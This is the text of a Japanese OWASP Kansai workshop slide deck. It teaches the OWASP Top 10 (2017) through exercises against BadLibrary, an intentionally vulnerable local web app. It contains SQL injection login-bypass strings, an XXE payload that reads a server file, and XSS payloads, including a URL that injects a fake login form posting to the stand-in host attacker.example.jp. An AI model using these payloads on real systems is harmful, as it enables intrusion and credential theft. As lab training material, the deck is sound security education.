Owasp top10 HandsOn

OWASP Kansai 2018-04-27 #owaspkansai
【ハンズオン】
OWASP TOP 10のリスクを
体感してみよう

今回のハンズオンのゴール
• OWASP TOP 10を知る
• OWASP TOP 10に載ってるもの(のうち代表的な
もの)を体感してみる
• あとで自分たちでも試せるようになろう ←重要
• ツールの詳しい使い方などは説明しません
2

OWASP - Open Web Application Security Project
OWASPは、ウェブアプリケーションセキュ
リティをとりまく課題を解決することを目
的とする、国際的なオープンなコミュニテ
ィです。企業や国境の壁はもちろんのこと、
あらゆる専門知識と経験を持ったスペシャ
リスト、またユーザのコラボレーションに
より、自由に参加できる開放された活動を
展開しています。
3
同組織の本部は、2001年に設立され、2004年4月21日よりアメリカ合衆国に
て政府認定NPOとして組織運営しています。現在、全世界に120以上の個別
テーマのプロジェクト、さらに200以上の拠点にチャプター（支部）があり
ます。
OWASPは、企業会員制度、企業スポンサーシップ、個人会員制度による寄
付などによって成りたっています。

国内でのOWASPの活動
• OWASP Japan - 2011年より活動。国内全体をカバー
• 国内には多数のOWASP Local Chapter
秋田 / 福島 / 北信越 / 関西 / 九州 / 名古屋 / 名取 / 沖縄 / 仙台
• OWASP Kansai - 2014年より関西で活動
• 自分たちの直面するWebセキュリティの問題を自分たちの手で解決し
たいという思いから活動をスタート
• それぞれが自分たちのできることを持ち寄ることで、みんなでWebを
よくしていく
4

OWASP TOP 10
• 世界中でもっとも活用されているOWASPによる成果物のひと
つ
• https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
• インパクトのある脆弱性やセキュリティ上の問題点をリスト
アップしたもの
• 3-4年ごとに内容を見直し。2017年11月に現バージョンが
公開
• OWASP TOP 10日本語版
• https://www.owasp.org/images/2/23/
OWASP_Top_10-2017%28ja%29.pdf
• OWASP Japanの有志による翻訳
5

OWASP TOP 10
A1:2017 - インジェクション A6:2017 - 不適切なセキュリティ設定
A2:2017 - 認証の不備 A7:2017 -
クロスサイトスクリプティ
ング
A3:2017 - 機微な情報の露出 A8:2017 -
安全でないデシリアライゼ
ーション
A4:2017 -
XML外部エンティティ参
照
A9:2017 -
既知の脆弱性のあるコンポ
ーネントの使用
A5:2017 - アクセス制御の不備 A10:2017 -
不十分なロギングとモニタ
リング
6

A1:2017 - インジェクション
• 「攻撃者によって細工された〇〇が、意図しないかたちで△ △
の一部として挿入・解釈される」というタイプの脆弱性各種の
こと
• SQLインジェクション
• クロスサイトスクリプティング
• HTTPヘッダーインジェクション
• OSコマンドインジェクション
• LDAPインジェクション
• その他…
• 2013年版OWASP TOP 10から引き続き1位
• 発見件数が多い、攻撃された時の影響が大きい
7

A2:2017 – 認証の不備
• ログインやセッション管理に関連する問題のこと
• パスワードリスト攻撃への対応がされているか
• 「password」のような弱いパスワードを排除できる仕組みがあるか
• セッションIDは推測不可能なものになっているか
• ログアウトすることでセッションはきちんと破棄されるか
• その他…

A3:2017 – 機微な情報の露出
• 機密情報が見られてしまう問題
• OWASP TOP 10では
• 暗号化/ハッシュ化されるべきデータや通信路が暗号化されていない
• 暗号化されていても暗号化方式が弱い
という観点で書かれている
• 暗号化に限らず、機密にすべき情報が見えている場合は問題
9

A4:2017 – XML外部エンティティ参照
• XMLを処理するときに、XMLの持つ外部実態参照という機能を
悪用する脆弱性
• サーバー内部のローカルファイルの漏洩
• 同一ネットワークの内部サーバーのWebコンテンツの漏洩
• XML処理系に負荷をかけるDoS
• XML処理系を通じたリモートコード実行
10

A5:2017 – アクセス制御の不備
• 認証やアクセス制御に不備があり
• 本来アクセスできないはずの機能やコンテンツにアクセスできてしま
う
• 権限がなければ本来利用できてはいけないはずの機能が利用できてし
まう
といった類の脆弱性
• よくある例
• 認証なしで /admin や /debug のような管理ページ、デバッグ機能にア
クセスできる
• 管理機能のHTMLページは認証があるけれどAPIには認証がない
• 複雑な権限モデルのアプリケーション(社員・課長・部長・事業部長み
たいなグループウェアなど)で期待される権限を越えて操作ができる
11

A6:2017 – 不適切なセキュリティ設定
• セキュリティ上の問題を起こすような設定ミス、デフォルトの
ままの設定など
• 各種ソフトウェアをデフォルト設定のまま利用したために安全でない
設定になっている
• エラーメッセージに機密情報が含まれている
• デフォルトのユーザーアカウントやパスワードが設定されている
など
• 見たことのある実例
• ブラウザーのXSS保護機能を無効にしているレスポンスヘッダーの指
定 X-XSS-Protection: 0
• つづりを間違えて Set-Cookie: session=XXXXX; http-only と記述
12

A7:2017 – クロスサイトスクリプティング
• 利用者がサイトへアクセスした際に、意図しないjavascript
を実行させる攻撃のこと
13

• 「A1:2017 – インジェクション」に含有されるにも関わらず単独項目
として記載
• それだけ発見件数も多く注目に値するということ
• 近年ではDOM-based XSSも増えている
14

A8:2017 – 安全でないデシリアライゼーシ
ョン
• デシリアライゼーション
JavaやPHPなどのプログラミング言語において文字列やバイト
列からオブジェクトを復元する機能のこと
• 外部由来のデータを元にデシリアライゼーションを行ってしま
うことで、任意コードの実行などが行われてしまう脆弱性
• 2017年版で初めてOWASP TOP 10にランクイン
15

A9:2017 – 既知の脆弱性のあるコンポーネ
ントの使用
• すでに脆弱性がすでに見つかっているライブラリやフレームワ
ーク、ミドルウェアを使い続けるといった問題
• 広く使われているフレームワークでは、脆弱性が発見された瞬
間に世界中で攻撃が多発することも多々ある
• 運用体制を作る
• 使用しているコンポーネントの把握
• 不要な機能やコンポーネントの除去
• 使用コンポーネントの脆弱性が発見された時の対応体制
16

A10:2017 – 不十分なロギングとモニタリ
ング
• ログの記録や監視が適切に行えていないという問題
• 攻撃を受けたときも早い段階で気づくことができるようログを記録し
監視を行ったり、また攻撃を受けたあとにもどういう被害があったの
かをきちんと解析するにはログを十分に残す必要がある
• 外部からの脆弱性診断などでは発見されにくい
• 正常に運用が行えているあいだは問題になりにくい
• インシデントが発生したときに致命的な問題となる
17

ハンズオン準備の流れ
1. node.jsのインストール
2. やられWebアプリ「BadLibrary」のインストール
【Bad図書館のログイン情報<basic=user:pass>】
メールアドレス:akita@example.jp
暗証番号 :1234

node.jsのインストール
1. https://nodejs.org/ja/ から「LTS版」をダウンロードしてイン
ストール
2. 慣れてる人はLTSでなくてもOK。nvmやnodistでももちろん
OK
20

やられWebアプリ「BadLibrary」のインストー
ル
• 今回のハンズオン対象
• 脆弱性を気軽に試すことができる脆弱
なWebアプリケーション
• アプリケーションの規模がシンプルで
機能把握が行いやすい
• 動作させるまでが簡単
node.jsのみ。Mac / Windows / Linux
で動作。VM不要
• 1台のサーバーに対して複数人で脆弱
性診断を行っても環境が壊れない
（集合研修などにも向いている）
21
https://github.com/SecureSkyTechnology/BadLibrary

やられWebアプリ「BadLibrary」のインストー
ル
1. 「BadLibrary」一式をダウンロード
https://github.com/SecureSkyTechnology/BadLibrary/archive/master.zip をダウンロー
ドしてzipを展開
（慣れてる人は
でもOK)
2. srcディレクトリ内でコマンドプロンプトを開き以下を実行す
る
「ERR: ...」が出なければインストール完了。「WARN: ...」は出ます
22
C:¥tmp¥BadLibrary¥src>npm install
git clone https://github.com/SecureSkyTechnology/BadLibrary

補足: npm installでエラーが出たとき
23
> libxmljs@0.18.7 install C:¥Users¥user¥Documents¥0427¥src¥node_modules¥libxmljs
> node-pre-gyp install --fallback-to-build --loglevel http
node-pre-gyp http GET https://github.com/libxmljs/libxmljs/releases/download/v0.18.7/node-v51-win32-x64.tar.gz
node-pre-gyp ERR! UNCAUGHT EXCEPTION
node-pre-gyp ERR! stack Error: Cannot find module 'block-stream'
node-pre-gyp ERR! stack at Function.Module._resolveFilename (module.js:470:15)
node-pre-gyp ERR! stack at Function.Module._load (module.js:418:25)
node-pre-gyp ERR! stack at Module.require (module.js:498:17)
（略）
npm ERR! node v7.2.1
npm ERR! npm v4.0.5
npm ERR! code ELIFECYCLE
npm ERR! libxmljs@0.18.7 install: `node-pre-gyp install --fallback-to-build --loglevel http`
npm ERR! Exit status 7
（略）
{
"name": "badlibrary",
"version": "1.0.0",
(略)
"license": "MIT",
"dependencies": {
"block-stream": "0.0.9",
"libxmljs": "^0.18.7",
"sqlite3": "^3.1.8"
}
}
"block-stream": "0.0.9",
src/package.jsonに１行追加してください
→
この１行
を追加

BadLibraryの動作確認
1. 以下のコマンドでBadLibraryを起動させる
2. ブラウザーを起動し http://localhost:8888/ にアクセスする
- BASIC認証のユーザー名、パスワードには「user」「pass」を入力
24
C:¥tmp¥BadLibrary¥src>node app.js -p 8888
Starting httpd on port 8888
user
pass
この画面が表示
されればOK

BadLibraryの設定ファイル
• src/config.jsonファイルを編集
することで、有効にする脆弱性を
指定できる
• デフォルトでは全ての
脆弱性が有効になっている
25
{
"global" : {
"basic" : "user:pass"
},
"vulnerabilities" : {
"sqli" : ["auth", "search", "blind"],
"xss" : ["reflect", "dom"],
"session" : ["no-refresh", "no-httponly", "serial"],
"xxe" : true,
"csrf" : true,
"expose" : ["dirindex", "admin", "contact"]
}
}
BASIC認証のユーザー名、パスワード
含める脆弱性

参考：Azure環境のご紹介
• https://camp20180519.azurewebsites.net
• BASIC認証 user/pass = user/pass です
26
大規模な環境ではありません！
大量接続は注意！！
パンクしちゃいます！！

OWASP TOP 10
A1:2017 - インジェクション A6:2017 - 不適切なセキュリティ設定
A2:2017 - 認証の不備 A7:2017 -
クロスサイトスクリプティ
ング
A3:2017 - 機微な情報の露出 A8:2017 -
安全でないデシリアライゼ
ーション
A4:2017 -
XML外部エンティティ参
照
A9:2017 -
既知の脆弱性のあるコンポ
ーネントの使用
A5:2017 - アクセス制御の不備 A10:2017 -
不十分なロギングとモニタ
リング
28

A1:2017 – インジェクション
• 貸出履歴の検索機能にSQLインジェクション
1. BadLibraryにメールアドレス:akita@example.jp、暗証番号:1234で
ログイン
2. 検索語句に通常の語句と「 ' 」を入れた時の違いを見てみましょう
内部で実行されるSQL
29
select * from (history inner join books on history.bid=books.id)
inner join users on history.uid=users.id
where books.title like '% %' and uid = 21
ORDER BY date1;
'
{
"vulnerabilities" : { "sqli" : ["search"] }
}
config.json

3. 検索語句に「 '' 」を入れた時の違いを見てみましょう
30
ORDER BY date1;
' '

Q1. すべてのユーザの貸出履歴を表示させてみましょう
31

検索語句に「' OR 1=1;--」を入れることで全件表示！！
32
ORDER BY date1;
' OR 1=1;--
config.json

• チャレンジ！！！
Q2. ユーザ「chiba@example.jp」に不正ログインしよう
33

• ログイン画面にSQLインジェクション
• 認証なしでログイン可能
1. BadLibraryにメールアドレス:chiba@example.jp、暗証番号:「' OR
1=1);--」でログイン
34
SELECT * FROM users
WHERE (mail='chiba@example.jp') and (pass=' ');' OR 1=1);--
{
"vulnerabilities" : { "sqli" : ["auth"] }
}
config.json

• 暗証番号が数値４桁
• ログイン時にセッションIDが変更されない
• httponly属性がついていない
35

・アカウントリスト攻撃
脆弱なID/パスワード
アカウントロック
ログインエラーメッセージ
・セッション管理における攻撃
脆弱なセッションID
Cookieの有効期限
Cookie設定の不備
36

37
• チャレンジ！！！
Q3. 認証の不備に関する脆弱性をみつけましょう

1. いったんBadLibraryからログアウトする
2. BadLibraryの/loginにアクセスした時のCookieを見てみる
3. akita@example.jp / 1234 でログインした時およびそれ以降の
cookieを見てみる
4. 上記の②③で同じセッションIDが使われていることが確認で
きる
⇨ セッションIDがログイン前後で同じ
38

・脆弱なパスワード：パスワードが数値４桁
・アカウントロック：何度失敗してもアカウントロックされない
・脆弱なセッションID：ログイン前後にセッションIDが変更されない
・Cookie設定の不備：httponly属性がついていない
39

1. メモ帳(notepad.exe)を起動
2. エクスプローラーからデータベースのファイル(src/libra.db)を
メモ帳にドラッグ&ドロップ
3. 文字化けしているが「...kita@example.jp1234」の文字列が確
認できる
• メールアドレスと対応する暗証番号がハッシュ化されずに保存されて
いる
40

1. ログインした状態で「お問合わせ」から適当な内容を投稿する
2. いったんログアウトする
3. http://localhost:8888/robots.txt にアクセスする
4. 怪しげな内容が…。とりあえず http://localhost:8888/contact/logにアクセスしてみる
5. ファイル一覧が見えるので今日の日付のファイルをクリックすると先ほどのお問い合
わせ内容が閲覧可能
41

42
1. http://localhost:8888/admin
にアクセス
2. 「書籍名」「入荷日」「ペ
ージ数」「書架」に適当に
値を入れ「登録」をクリッ
ク。「登録に失敗しまし
た」のメッセージが表示さ
れる
3. その時の通信をZAPで見て
みる
POSTでXMLが送信されている

43
<!DOCTYPE x [<!ENTITY xxe SYSTEM
"config.json">]><book><title>&xxe;</title>
<date>2017-12-18</date><pages>1</pages>
<loc>Z-1</loc></book>
送信されるXMLを書き換えると、サーバー上
の "config.json" ファイルが取得できた!

A10:2017 – 不十分なロギングとモニタリ
ング
• BadLibraryではそもそもログファイルの記録などを行なってい
ない
44

A5:2017 - アクセス制御の不備
• アクセス制御の不備とは、
認証やアクセス制御に不備があり
• 本来アクセスできないはずの機能やコンテンツにアクセスできてしま
う
• 権限がなければ本来利用できてはいけないはずの機能が利用できてし
まう
といった類の脆弱性です
45

46
Q.本来、管理者しか使えないはずの機能にアクセスしてください

1. ログアウトした状態でhttp://localhost:8888/robots.txtにアクセ
スしてみる
2. 怪しげな内容が…。
47

1. ログアウトした状態でhttp://localhost:8888/robots.txtにアクセ
スしてみる
2. 怪しげな内容が…。とりあえず http://localhost:8888/adminに
アクセスしてみる
3. 管理者しか使えない機能に誰でもアクセスできる
※BadLibraryではサーバーの再起動、書籍の登録は毎回失敗するように
なっています
48

1. 不適切なセキュリティ設定では、
セキュリティ上の問題を起こすような設定ミス、
デフォルトのままの設定が原因で発生する問題です
49

1. http://localhost:8888/robots.txt にアクセスしてみる
• 本来は見られたくないはずのコンテンツがむしろ明瞭になっている
50

1. http://localhost:8888/contact/log にアクセスしてみる
• ディレクトリインデックスが有効になっている
51

1. http://192.168.119.130:8888/historyにアクセスし、
検索フォームに「'」を入力し送信してみる
• SQL文のエラーが画面に出力されている
52

1. XSSとは利用者がサイトへアクセスした際に、意図しない
javascriptを実行させる攻撃のこと
53

54
送信
ページのソースを
確認した場合

55
送信
ページのソースを
確認した場合
インラインスクリプトとして認識されている

Q1.XSSを発生させてみてください
1. akita@example.jp / 1234 でログインする
XSSの確認用：<script>alert(1)</script>
56

2. 貸出履歴の画面で貸出年月を適当に変更して検索してみる
57

3. URL中のパラメータdに注目(これが年月)
58

4. パラメータdを201606<s>abcdなどに変更して検索し、画面
の変化に着目
(http://localhost:8888/history?q=&d=201606%3Cs%3Eabcd)
59

Q2.XSSを発生させて、cookieの値をみてください
の変化に着目
60

Q2.XSSを発生させて、cookieの値をみてください
の変化に着目
jsでcookieにアクセスする方法：document.cookie
61

Q3.他の箇所でXSSを発生させてみてください
62

Q3.他の箇所でXSSを発生させてみてください
2. 「検索語句」部分に攻撃値を入力し、XSSを発生させてみて
ください
63

64
http://localhost:8888/history?q=&d=2016%3Cscript%3Edocument.body.innerHT
ML=%27%3Chr%3E%3Cform%20action=%22http://attacker.example.jp/%22%
3E%E3%83%A1%E3%83%BC%E3%83%AB%E3%82%A2%E3%83%89%E3
%83%AC%E3%82%B9%3Cbr%3E%3Cinput%20size=30%3E%3Cbr%3E%E3
%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%3Cbr%3E%
3Cinput%20type=password%20size=30%3E%3Cbr%3E%3Cinput%20type=su
bmit%20value=%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3%3E%
3Cbr%3E%3Cbr%3E%3Cbr%3E%27;%3C/script%3E
より細工されたXSS
にせログイン画面の表
示

A8:2017 -安全でないデシリアライゼーシ
ョン
• BadLibraryにはこの脆弱性は存在しないので試せません…
• JavaやPHPで発生する脆弱性
• node.jsで作られたBadLibraryには組み込みにくい
65

A9:2017 -既知の脆弱性のあるコンポーネントの使用
• BadLibraryでは明確に古いコンポーネントというのは使われて
いないので、現段階では(おそらく)この脆弱性は存在しない
66

Owasp top10 HandsOn

Recomendados

Recomendados

Mais conteúdo relacionado

Mais procurados

Mais procurados (20)

Semelhante a Owasp top10 HandsOn

Semelhante a Owasp top10 HandsOn (20)

Último

Último (7)

Owasp top10 HandsOn